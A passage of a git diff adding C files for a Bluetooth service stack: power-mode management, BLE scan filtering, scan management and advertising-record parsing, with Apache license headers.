pm_mode_request(bt_address_t* peer_addr, uint8_t req, uint16_t profile_id) +{ + bool connected; + bt_pm_prefer_mode_t pm_action; + uint32_t timeout_ms; + uint8_t allowed_modes; + bool ret; + + connected = adapter_is_remote_connected(peer_addr, BT_TRANSPORT_BREDR); + if (!connected) { + BT_LOGE("%s, device:%s disconnected", __func__, bt_addr_str(peer_addr)); + pm_stop_timer(peer_addr); + return; + } + + ret = pm_prefer_config(peer_addr, &pm_action, &timeout_ms, &allowed_modes, &profile_id); + if (!ret) { + BT_LOGE("%s, device:%s prefer pm config fail, ret:%d", __func__, bt_addr_str(peer_addr), ret); + return; + } + + if (!(allowed_modes & BT_PM_SNIFF)) { + BT_LOGE("%s, modes:0x%x not allowed", __func__, allowed_modes); + return; + } + + switch (req) { + case BT_PM_EXECUTE: { + if (pm_action & BT_PM_ACTIVE) { + pm_request_active(peer_addr); + } else if (pm_action & BT_PM_SNIFF) { + pm_request_sniff(peer_addr, pm_action & BT_PM_PREF_MODE_MASK); + } + } break; + case BT_PM_RESTART: { + if (pm_action & BT_PM_ACTIVE) { + pm_request_active(peer_addr); + } else if (timeout_ms > 0) { + pm_stop_timer(peer_addr); + pm_start_timer(peer_addr, timeout_ms, profile_id, pm_action); + } + } break; + default: + break; + } +} + +static void pm_timeout_callback(service_timer_t* timer, void* data) +{ + bt_pm_timer_t* pm_timer = (bt_pm_timer_t*)data; + + if (pm_timer->active) { + pm_timer->active = false; + } + + BT_LOGD("%s, addr:%s, profile_id:%d, pm_action:%d", __func__, bt_addr_str(&pm_timer->peer_addr), pm_timer->profile_id, pm_timer->pm_action); + pm_mode_request(&pm_timer->peer_addr, BT_PM_EXECUTE, pm_timer->profile_id); +} + +static void pm_request_timeout_callback(service_timer_t* timer, void* data) +{ + bt_pm_device_t* device = (bt_pm_device_t*)data; + + BT_LOGD("%s, current mode: %d", __func__, device->mode); + + device->hci_status = BT_PM_STATUS_NONE; +} + +static bool pm_check_prefer_action(uint8_t profile_id) +{ + int j; + + for (j = 0; j < sizeof(g_pm_cfg) / sizeof(g_pm_cfg[0]); j++) { + if (g_pm_cfg[j].profile_id == profile_id) { + break; + } + } + + if (j == sizeof(g_pm_cfg) / sizeof(g_pm_cfg[0])) { + BT_LOGE("%s, invalid profile_id:%d", __func__, profile_id); + return false; + } + + if (g_pm_spec[g_pm_cfg[j].spec_idx].actn_tbl->power_mode == BT_PM_NO_PREF) { + BT_LOGD("%s, BT_PM_NO_PREF", __func__); + return false; + } + + return true; +} + +static void bt_pm_hanlde_callback(bt_pm_state_t state, uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_service_t* service; + + service = pm_conn_service_find(profile_id, peer_addr); + if (!service) { + service = pm_conn_service_add(profile_id, state, peer_addr); + if (!service) { + BT_LOGE("%s, fail to add service device:%s, profile_id:%d", __func__, bt_addr_str(peer_addr), profile_id); + return; + } + } else { + service->state = state; + } + + if (!pm_check_prefer_action(profile_id)) { + pm_conn_service_remove(service); + } + + pm_mode_request(peer_addr, BT_PM_RESTART, profile_id); +} + +static void bt_pm_register(bt_pm_hanlde_callback_t cb) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + manager->pm_callback = cb; +} + +static void bt_pm_unregister() +{ + bt_pm_manager_t* manager = &g_pm_manager; + + manager->pm_callback = NULL; +} + +void bt_pm_conn_open(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_CONN_OPEN, profile_id, peer_addr); +} + +void bt_pm_conn_close(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_CONN_CLOSE, profile_id, peer_addr); +} + +void bt_pm_app_open(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_APP_OPEN, profile_id, peer_addr); +} + +void bt_pm_app_close(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_APP_CLOSE, profile_id, peer_addr); +} + +void bt_pm_sco_open(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_SCO_OPEN, profile_id, peer_addr); +} + +void bt_pm_sco_close(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_SCO_CLOSE, profile_id, peer_addr); +} + +void bt_pm_idle(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_CONN_IDLE, profile_id, peer_addr); +} + +void bt_pm_busy(uint8_t profile_id, bt_address_t* peer_addr) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->pm_callback) { + return; + } + + manager->pm_callback(BT_PM_STATE_CONN_BUSY, profile_id, peer_addr); +} + +void bt_pm_init(void) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (manager->inited) { + return; + } + + manager->inited = true; + manager->last_profile_id = PROFILE_UNKOWN; + bt_pm_register(bt_pm_hanlde_callback); + list_initialize(&manager->pm_services); + list_initialize(&manager->pm_devices); +} + +void bt_pm_cleanup(void) +{ + bt_pm_manager_t* manager = &g_pm_manager; + + if (!manager->inited) { + return; + } + + manager->inited = false; + bt_pm_unregister(); + list_delete(&manager->pm_services); + list_delete(&manager->pm_devices); +} + +void bt_pm_remote_link_mode_changed(bt_address_t* addr, uint8_t mode, uint16_t sniff_interval) +{ + bt_pm_device_t* device; + bt_pm_manager_t* manager = &g_pm_manager; + + BT_LOGD("%s, addr:%s, mode:%d, sniff_interval:%" PRId16, __func__, bt_addr_str(addr), mode, sniff_interval); + device = pm_conn_device_find(addr); + if (!device) { + BT_LOGE("%s, fail to find device:%s", __func__, bt_addr_str(addr)); + return; + } + + device->interval = sniff_interval; + device->mode = mode; + device->hci_status = BT_PM_STATUS_NONE; + + switch (mode) { + case BT_LINK_MODE_ACTIVE: { + pm_stop_timer(addr); + pm_request_stop_timer(device); + pm_mode_request(addr, BT_PM_RESTART, manager->last_profile_id); + } break; + case BT_LINK_MODE_SNIFF: { + pm_stop_timer(addr); + } break; + default: + break; + } +} + +void bt_pm_remote_device_connected(bt_address_t* addr) +{ + bt_pm_device_t* device; + + device = pm_conn_device_add(addr); + if (!device) { + BT_LOGE("%s, fail to add device:%s", __func__, bt_addr_str(addr)); + return; + } +} + +void bt_pm_remote_device_disconnected(bt_address_t* addr) +{ + bt_pm_device_t* device; + + device = pm_conn_device_find(addr); + if (!device) { + BT_LOGE("%s, fail to find device:%s", __func__, bt_addr_str(addr)); + return; + } + + pm_stop_timer(addr); + + pm_conn_device_remove(device); +} diff --git a/service/src/power_manager.h b/service/src/power_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..a48e1056b2449fc02b908947d2b3a38404cef1cd --- /dev/null +++ b/service/src/power_manager.h @@ -0,0 +1,47 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_POWER_MANAGER_H__ +#define __BT_POWER_MANAGER_H__ + +#include <stdint.h> + +#include "bt_addr.h" + +typedef struct { + uint16_t max; + uint16_t min; + uint16_t attempt; + uint16_t timeout; + uint8_t mode; +} bt_pm_mode_t; + +void bt_pm_conn_open(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_conn_close(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_app_open(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_app_close(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_sco_open(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_sco_close(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_idle(uint8_t profile_id, bt_address_t* peer_addr); +void bt_pm_busy(uint8_t profile_id, bt_address_t* peer_addr); + +void bt_pm_init(void); +void bt_pm_cleanup(void); + +void bt_pm_remote_link_mode_changed(bt_address_t* addr, uint8_t mode, uint16_t sniff_interval); +void bt_pm_remote_device_connected(bt_address_t* addr); +void bt_pm_remote_device_disconnected(bt_address_t* addr); + +#endif /* __BT_POWER_MANAGER_H__ */ diff --git a/service/src/scan_filter.c b/service/src/scan_filter.c new file mode 100644 index 0000000000000000000000000000000000000000..9db35f3028a3eed898b060d3ad750fb47146df1e --- /dev/null +++ b/service/src/scan_filter.c @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "scan_filter" + +#include "scan_filter.h" + +static bool match_uuid(uint16_t uuid, const uint16_t* uuids) +{ + int i; + + for (i = 0; i < BLE_SCAN_FILTER_UUID_MAX_NUM; i++) { + if (uuids[i] != 0 && uuid == uuids[i]) { + return true; + } + } + + return false; +} + +bool scanner_match_filter(scan_record_t* record, ble_scan_filter_t* filter) +{ + if (record->uuid && match_uuid(record->uuid, filter->uuids)) { + return true; + } + + /* TODO: add other filter match */ + + return false; +} diff --git a/service/src/scan_filter.h b/service/src/scan_filter.h new file mode 100644 index 0000000000000000000000000000000000000000..b22d277be10a1018f230c8fd9007bfee3d9ee96d --- /dev/null +++ b/service/src/scan_filter.h @@ -0,0 +1,27 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_SCAN_FILTER_H__ +#define __BT_SCAN_FILTER_H__ + +#include <stdbool.h> +#include <stdint.h> + +#include "bt_le_scan.h" +#include "scan_record.h" + +bool scanner_match_filter(scan_record_t* record, ble_scan_filter_t* filter); + +#endif /* __BT_SCAN_FILTER_H__ */ \ No newline at end of file diff --git a/service/src/scan_manager.c b/service/src/scan_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..55d86720727c5a967d885f24516c5e404f827ba2 --- /dev/null +++ b/service/src/scan_manager.c @@ -0,0 +1,582 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "scanner" + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_dfx.h" +#include "bt_hash.h" +#include "bt_le_scan.h" +#include "bt_list.h" +#include "bt_socket.h" +#include "bt_time.h" +#include "sal_interface.h" +#include "scan_filter.h" +#include "scan_manager.h" +#include "scan_record.h" +#include "service_loop.h" +#include "utils/log.h" + +#ifndef CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM +#define CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM 2 +#endif +#ifndef CONFIG_BT_LE_ADV_REPORT_SIZE +#define CONFIG_BT_LE_ADV_REPORT_SIZE 10 +#endif +#define BT_LE_ADV_REPORT_DURATION_MS 500 +#define BT_LE_ADV_REPORT_PERIOD_MS 5000 + +#ifndef ARRAY_SIZE +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) +#endif + +typedef struct { + bt_address_t addr; + ble_addr_type_t addr_type; + uint32_t timestamp; +} scanner_device_t; + +typedef struct scanner { + struct list_node scanning_node; + void* remote; + uint8_t scanner_id; + bool is_scanning; + ble_scan_filter_policy_t policy; + ble_scan_filter_t filter; + const scanner_callbacks_t* callbacks; +} scanner_t; + +typedef struct { + scanner_t* scanner; + bool use_setting; + ble_scan_settings_t settings; +} scanner_ctrl_t; + +typedef struct scanner_manager { + scanner_t* scanner_list[CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM]; + struct list_node scanning_list; + uint32_t hash_table[CONFIG_BT_LE_ADV_REPORT_SIZE]; + bt_list_t* devices; + uint8_t scanner_cnt; + bool is_scanning; +} scanner_manager_t; + +static scanner_manager_t scanner_manager; +static void stop_scan(void* data); + +static bt_scanner_t* get_remote(scanner_t* scanner) +{ + return scanner->remote ? scanner->remote : scanner; +} + +static scanner_device_t* alloc_device(bt_address_t* addr, ble_addr_type_t addr_type) +{ + scanner_device_t* device; + + device = zalloc(sizeof(scanner_device_t)); + if (!device) { + return NULL; + } + + memcpy(&device->addr, addr, sizeof(*addr)); + device->addr_type = addr_type; + + return device; +} + +static void free_device(void* data) +{ + scanner_device_t* device = data; + + free(device); +} + +static scanner_device_t* scanner_find_device(const bt_address_t* addr, ble_addr_type_t addr_type) +{ + bt_list_node_t* node; + bt_list_t* list = scanner_manager.devices; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + scanner_device_t* device = bt_list_node(node); + if (!memcmp(&device->addr, addr, sizeof(bt_address_t)) && (device->addr_type == addr_type)) + return device; + } + + return NULL; +} + +static scanner_device_t* scanner_add_device(bt_address_t* addr, ble_addr_type_t addr_type, uint32_t timestamp_ms) +{ + scanner_device_t* device; + + device = alloc_device(addr, addr_type); + assert(device); + + device->timestamp = timestamp_ms; + bt_list_add_tail(scanner_manager.devices, device); + + return device; +} + +static scanner_t* alloc_new_scanner(void* remote, const scanner_callbacks_t* cbs) +{ + scanner_t* app = malloc(sizeof(scanner_t)); + + if (!app) + return NULL; + + memset(app, 0, sizeof(scanner_t)); + app->remote = remote; + app->callbacks = cbs; + + return app; +} + +static void delete_scanner(scanner_t* scanner) +{ + if (scanner->is_scanning) + list_delete(&scanner->scanning_node); + + free(scanner); +} + +static bool scanner_compare(scanner_t* src, scanner_t* dest) +{ + if (dest->remote) + return src->remote == dest->remote; + else + return src->callbacks == dest->callbacks; +} + +static bool scanner_is_registered(scanner_t* scanner) +{ + for (int i = 0; i < CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM; i++) { + if (scanner_manager.scanner_list[i] == scanner) + return true; + } + + return false; +} + +static bool scanner_match_duration(scanner_device_t* device, uint32_t duration, uint32_t period, uint32_t timestamp) +{ + uint32_t t1; + uint32_t t2; + uint32_t t3; + + t1 = device->timestamp; + t2 = t1 + duration; + t3 = t1 + period; + + if (timestamp < t1) { + /* Timestamp overflow */ + device->timestamp = timestamp; + return false; + } else if ((t1 <= timestamp) && timestamp < t2) { + return true; + } else if ((t2 <= timestamp) && timestamp < t3) { + return false; + } else { + device->timestamp = timestamp; + return true; + } +} + +static bool scanner_hsearch_find(const void* keyarg, size_t len) +{ + scanner_manager_t* manager = &scanner_manager; + uint32_t hash; + int i; + + hash = bt_hash4(keyarg, len); + for (i = 0; i < ARRAY_SIZE(manager->hash_table); i++) { + if (manager->hash_table[i] == hash) { + return true; + } + + if (manager->hash_table[i] == 0) { + break; + } + } + + return false; +} + +static void scanner_hsearch_add(const void* keyarg, size_t len) +{ + scanner_manager_t* manager = &scanner_manager; + uint32_t hash; + int i; + + hash = bt_hash4(keyarg, len); + for (i = 0; i < ARRAY_SIZE(manager->hash_table); i++) { + if (manager->hash_table[i] == 0) { + manager->hash_table[i] = hash; + break; + } + } +} + +static void scanner_hsearch_free() +{ + scanner_manager_t* manager = &scanner_manager; + + memset(&manager->hash_table, 0, sizeof(manager->hash_table)); +} + +static void notify_scanners_scan_result(void* data) +{ + struct list_node* node; + ble_scan_result_t* result = (ble_scan_result_t*)data; + scan_record_t record = { 0 }; + scanner_device_t* device; + uint32_t timestamp_ms; + + if (bt_socket_server_is_busy()) { + do_in_service_loop_deffered(notify_scanners_scan_result, data, true); + return; + } + + timestamp_ms = bt_get_os_timestamp_ms(); + list_for_every(&scanner_manager.scanning_list, node) + { + scanner_t* scanner = (scanner_t*)node; + + if (!scanner) { + free(data); + return; + } + + if (!scanner->filter.active) { + goto exit_filter; + } + + if (!record.active) { + scan_record_parse(&record, result->adv_data, result->length); + record.active = true; + } + + device = scanner_find_device(&result->addr, result->addr_type); + if (!device && !scanner_match_filter(&record, &scanner->filter)) { + continue; + } + + if (!device) { + device = scanner_add_device(&result->addr, result->addr_type, timestamp_ms); + } + + if (scanner->filter.duplicated) { + if (!scanner_match_duration(device, scanner->filter.duration, scanner->filter.period, timestamp_ms)) { + continue; + } + + if (scanner_hsearch_find(result->adv_data, result->length)) { + BT_LOGD("scanner_hsearch_find addr:%s", bt_addr_str(&result->addr)); + continue; + } else { + scanner_hsearch_add(result->adv_data, result->length); + BT_LOGD("scanner_hsearch_add addr:%s", bt_addr_str(&result->addr)); + } + } + + exit_filter: + scanner->callbacks->on_scan_result(get_remote(scanner), result); + } + + free(data); +} + +static uint32_t register_scanner(scanner_t* scanner) +{ + int i; + + if (!scanner) + return BT_SCAN_STATUS_START_FAIL; + + if (scanner_manager.scanner_cnt == CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM) { + delete_scanner(scanner); + BT_DFX_LE_GAP_SCAN_ERROR(BT_DFXE_SCANNER_EXCEED_MAX_NUM); + return BT_SCAN_STATUS_SCANNER_REG_NOMEM; + } + + for (i = 0; i < CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM; i++) { + if (scanner_manager.scanner_list[i] != NULL && scanner_compare(scanner_manager.scanner_list[i], scanner)) { + delete_scanner(scanner); + return BT_SCAN_STATUS_SCANNER_EXISTED; + } + } + + for (i = 0; i < CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM; i++) { + if (!scanner_manager.scanner_list[i]) { + scanner->scanner_id = i; + scanner_manager.scanner_list[i] = scanner; + scanner_manager.scanner_cnt++; + return BT_SCAN_STATUS_SUCCESS; + } + } + + return BT_SCAN_STATUS_START_FAIL; +} + +static void unregister_scanner(scanner_t* scanner) +{ + if (!scanner) + return; + + if (!scanner_is_registered(scanner)) + return; + + stop_scan((void*)scanner); + scanner->callbacks->on_scan_stopped(get_remote(scanner)); + scanner_manager.scanner_list[scanner->scanner_id] = NULL; + scanner_manager.scanner_cnt--; + delete_scanner(scanner); +} + +static void stop_scanner(void* data) +{ + scanner_ctrl_t* stop = data; + scanner_t* scanner = stop->scanner; + + unregister_scanner(scanner); + + free(data); +} + +static void cleanup_scanner(void* data) +{ + for (int i = 0; i < CONFIG_BLUETOOTH_LE_SCANNER_MAX_NUM; i++) { + scanner_t* scanner = scanner_manager.scanner_list[i]; + if (scanner) + unregister_scanner(scanner); + } + + list_delete(&scanner_manager.scanning_list); + bt_list_free(scanner_manager.devices); + scanner_manager.devices = NULL; +} + +static int setup_scan_parameter(ble_scan_settings_t* settings, ble_scan_params_t* param) +{ + if (!settings || !param) + return BT_SCAN_STATUS_START_FAIL; + + param->scan_phy = settings->scan_phy; + param->scan_type = settings->scan_type; + + switch (settings->scan_mode) { + case BT_SCAN_MODE_LOW_POWER: + param->scan_interval = SCAN_MODE_LOW_POWER_INTERVAL; + param->scan_window = SCAN_MODE_LOW_POWER_WINDOW; + break; + case BT_SCAN_MODE_BALANCED: + param->scan_interval = SCAN_MODE_BALANCED_INTERVAL; + param->scan_window = SCAN_MODE_BALANCED_WINDOW; + break; + case BT_SCAN_MODE_LOW_LATENCY: + param->scan_interval = SCAN_MODE_LOW_LATENCY_INTERVAL; + param->scan_window = SCAN_MODE_LOW_LATENCY_WINDOW; + break; + default: + break; + } + + return BT_SCAN_STATUS_SUCCESS; +} + +static void start_scan(void* data) +{ + scanner_ctrl_t* start = data; + scanner_t* scanner = start->scanner; + ble_scan_params_t params = { 100, 100, BT_LE_SCAN_TYPE_PASSIVE, BT_LE_1M_PHY }; + + uint32_t status = register_scanner(scanner); + if (status != BT_SCAN_STATUS_SUCCESS) { + scanner->callbacks->on_scan_start_status(get_remote(scanner), status); + goto ret; + } + + if (start->use_setting) { + setup_scan_parameter(&start->settings, ¶ms); + } + + if (!scanner_manager.is_scanning && !list_length(&scanner_manager.scanning_list)) { + bt_sal_le_set_scan_parameters(PRIMARY_ADAPTER, ¶ms); + if (bt_sal_le_start_scan(PRIMARY_ADAPTER) != BT_STATUS_SUCCESS) { + scanner->callbacks->on_scan_start_status(get_remote(scanner), BT_SCAN_STATUS_START_FAIL); + goto ret; + } + scanner_manager.is_scanning = true; + } + + scanner->is_scanning = true; + list_add_tail(&scanner_manager.scanning_list, &scanner->scanning_node); + scanner->callbacks->on_scan_start_status(get_remote(scanner), BT_SCAN_STATUS_SUCCESS); + +ret: + free(start); +} + +static void stop_scan(void* data) +{ + scanner_t* scanner = (scanner_t*)data; + + if (!scanner_is_registered(scanner)) + return; + + if (!scanner->is_scanning) + return; + + list_delete(&scanner->scanning_node); + scanner->is_scanning = false; + if (scanner_manager.is_scanning && !list_length(&scanner_manager.scanning_list)) { + bt_sal_le_stop_scan(PRIMARY_ADAPTER); + bt_list_clear(scanner_manager.devices); + scanner_hsearch_free(); + scanner_manager.is_scanning = false; + } +} + +void scan_on_state_changed(uint8_t state) +{ + BT_LOGD("%s, state:%d", __func__, state); +} + +void scan_on_result_data_update(ble_scan_result_t* result_info, char* adv_data) +{ + ble_scan_result_t* result = malloc(sizeof(ble_scan_result_t) + result_info->length); + + if (!result) + return; + + /* TODO : gdb debug check */ + memcpy(result, result_info, sizeof(ble_scan_result_t)); + memcpy(result->adv_data, adv_data, result_info->length); + + do_in_service_loop(notify_scanners_scan_result, result); +} + +bt_scanner_t* scanner_start_scan(void* remote, const scanner_callbacks_t* cbs) +{ + if (!adapter_is_le_enabled()) + return NULL; + + scanner_t* scanner = alloc_new_scanner(remote, cbs); + if (!scanner) + return NULL; + + scanner_ctrl_t* start = malloc(sizeof(scanner_ctrl_t)); + if (start == NULL) { + free(scanner); + return NULL; + } + + start->scanner = scanner; + start->use_setting = false; + + do_in_service_loop(start_scan, (void*)start); + + return (bt_scanner_t*)scanner; +} + +bt_scanner_t* scanner_start_scan_with_filters(void* remote, + ble_scan_settings_t* settings, + ble_scan_filter_t* filter, + const scanner_callbacks_t* cbs) +{ + scanner_t* scanner; + scanner_ctrl_t* start; + + if (!adapter_is_le_enabled()) + return NULL; + + scanner = alloc_new_scanner(remote, cbs); + if (!scanner) + return NULL; + + start = zalloc(sizeof(scanner_ctrl_t)); + if (start == NULL) { + free(scanner); + return NULL; + } + + if (filter && filter->active) { +#ifndef CONFIG_BLUETOOTH_BLE_SCAN_FILTER + filter->active = false; +#else + filter->duration = BT_LE_ADV_REPORT_DURATION_MS; + filter->period = BT_LE_ADV_REPORT_PERIOD_MS; + filter->duplicated = 0; + memcpy(&scanner->filter, filter, sizeof(*filter)); +#endif + } + + start->scanner = scanner; + start->use_setting = true; + memcpy(&start->settings, settings, sizeof(*settings)); + + do_in_service_loop(start_scan, (void*)start); + + return (bt_scanner_t*)scanner; +} + +bt_scanner_t* scanner_start_scan_settings(void* remote, + ble_scan_settings_t* settings, + const scanner_callbacks_t* cbs) +{ + return scanner_start_scan_with_filters(remote, settings, NULL, cbs); +} + +void scanner_stop_scan(bt_scanner_t* scanner) +{ + if (!adapter_is_le_enabled()) + return; + + scanner_ctrl_t* stop = malloc(sizeof(scanner_ctrl_t)); + if (stop == NULL) + return; + + stop->scanner = (scanner_t*)scanner; + do_in_service_loop(stop_scanner, (void*)stop); +} + +bool scan_is_supported(void) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + return true; +#endif + return false; +} + +void scan_manager_init(void) +{ + memset(&scanner_manager, 0, sizeof(scanner_manager)); + list_initialize(&scanner_manager.scanning_list); + scanner_manager.devices = bt_list_new(free_device); +} + +void scan_manager_cleanup(void) +{ + cleanup_scanner(NULL); +} + +void scanner_dump(bt_scanner_t* scanner) +{ +} diff --git a/service/src/scan_manager.h b/service/src/scan_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..4c86199ef880360f39352be1c1b943c51d13f277 --- /dev/null +++ b/service/src/scan_manager.h @@ -0,0 +1,44 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_SCAN_MANAGER_H__ +#define __BT_SCAN_MANAGER_H__ + +#include <stdio.h> + +#include "bt_le_scan.h" + +enum scan_state { + SCAN_STATE_STARTED, + SCAN_STATE_STOPPED +}; + +void scan_on_state_changed(uint8_t state); +void scan_on_result_data_update(ble_scan_result_t* result_info, char* adv_data); +bt_scanner_t* scanner_start_scan(void* remote, const scanner_callbacks_t* cbs); +bt_scanner_t* scanner_start_scan_settings(void* remote, + ble_scan_settings_t* settings, + const scanner_callbacks_t* cbs); +bt_scanner_t* scanner_start_scan_with_filters(void* remote, + ble_scan_settings_t* settings, + ble_scan_filter_t* filter, + const scanner_callbacks_t* cbs); +void scanner_stop_scan(bt_scanner_t* scanner); +bool scan_is_supported(void); +void scan_manager_init(void); +void scan_manager_cleanup(void); +void scanner_dump(bt_scanner_t* scanner); + +#endif /* __BT_SCAN_MANAGER_H__ */ diff --git a/service/src/scan_record.c b/service/src/scan_record.c new file mode 100644 index 0000000000000000000000000000000000000000..59bc94c9a83bed41c3e0091e7fed0860b18f1d58 --- /dev/null +++ b/service/src/scan_record.c @@ -0,0 +1,70 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "scan_record" + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_utils.h" +#include "scan_record.h" + +static void record_parse_uuid16(scan_record_t* record, const uint8_t* data, + uint8_t len) +{ + STREAM_TO_UINT16(record->uuid, data); +} + +void scan_record_parse(scan_record_t* record, const uint8_t* eir_data, uint8_t eir_len) +{ + uint16_t len = 0; + + if (!eir_data) { + return; + } + + while (len < eir_len - 1) { + uint8_t field_len; + const uint8_t* data; + uint8_t data_len; + + field_len = eir_data[0]; + if (field_len == 0) { + break; + } + + len += field_len + 1; + + if (len > eir_len) { + break; + } + + data = &eir_data[2]; + data_len = field_len - 1; + + switch (eir_data[1]) { + case BT_EIR_SVC_DATA_16: + record_parse_uuid16(record, data, data_len); + break; + + /* TODO: handle other eir data */ + default: + break; + } + + eir_data += field_len + 1; + } +} diff --git a/service/src/scan_record.h b/service/src/scan_record.h new file mode 100644 index 0000000000000000000000000000000000000000..d92e0710008e5ea206a83583edc1e073e59ccefc --- /dev/null +++ b/service/src/scan_record.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_SCAN_RECORD_H__ +#define __BT_SCAN_RECORD_H__ + +#include <stdbool.h> +#include <stdint.h> + +#define BT_EIR_SVC_DATA_16 0x16 // 16-bit UUID + +typedef struct { + bool active; + uint16_t uuid; + int8_t tx_power; + uint8_t flag; + + uint8_t* name; + uint8_t name_size; +} scan_record_t; + +void scan_record_parse(scan_record_t* record, const uint8_t* eir_data, uint8_t eir_len); + +#endif /* __BT_SCAN_RECORD_H__ */ diff --git a/service/stacks/include/sal_a2dp_sink_interface.h b/service/stacks/include/sal_a2dp_sink_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..75ab656cc2a584592ce055d8b719f5c3f04b708c --- /dev/null +++ 